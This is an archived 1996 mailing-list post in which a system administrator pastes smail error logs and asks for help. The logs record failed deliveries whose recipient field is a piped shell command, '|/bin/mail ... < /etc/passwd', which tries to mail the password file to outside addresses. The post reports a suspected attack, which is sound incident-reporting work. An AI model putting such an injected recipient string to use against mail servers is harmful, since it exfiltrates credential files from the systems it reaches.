[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

Security problem on my machine?



Hi all,

I got these errors,  and they look horribly like someone trying to
mail out my password file:

The following come from smail:


Smail has detected new errors requiring your attention on the
host bilbo.thawte.com.  Messages which failed can be found in the
directory /var/spool/smail/error and should be moved back to
/var/spool/smail when the situation which caused the error has
been taken care of.

A sumary of these errors follows:


------------------ Message 0u8yjE-0004eDC ------------------
The per-message log file contains:
 no valid recipients were found for this message
 Xfail: <<"|/bin/mail aj@comm20000.it < /etc/passwd">> reason: (ERR100)
unknown user

Logfile entries related to this message are:
  04/16/96 02:34:44: [m0u8yjE-0004eDC] received
  |            from: <+>
  |            host: bilbo.thawte.com
  |        protocol: bsmtp
  |         program: smail
  |            size: 965 bytes
  04/16/96 02:34:44: [m0u8yjE-0004eDC] <"|/bin/mail aj@comm20000.it <
/etc/passwd"> ... failed: (ERR_100) unknown user
  04/16/96 02:34:44: [m0u8yjE-0004eDC] mail moved to
/var/spool/smail/error/0u8yjE-0004eDC

Paniclog entries related to this messsage are:

------------------ Message 0u8ylA-0004eEC ------------------
The per-message log file contains:
 no valid recipients were found for this message
 Xfail: <<"|/bin/mail multivac@comm2000.it < /etc/passwd">> reason:
(ERR100) unknown user

Logfile entries related to this message are:
  04/16/96 02:36:44: [m0u8ylA-0004eEC] received
  |            from: <+>
  |            host: bilbo.thawte.com
  |        protocol: bsmtp
  |         program: smail
  |            size: 949 bytes
  04/16/96 02:36:44: [m0u8ylA-0004eEC] <"|/bin/mail multivac@comm2000.it
< /etc/passwd"> ... failed: (ERR_100) unknown user
  04/16/96 02:36:44: [m0u8ylA-0004eEC] mail moved to
/var/spool/smail/error/0u8ylA-0004eEC

Paniclog entries related to this messsage are:



HELP!  What should I do?
--
Mark Shuttleworth
Thawte Consulting cc.



Reply to: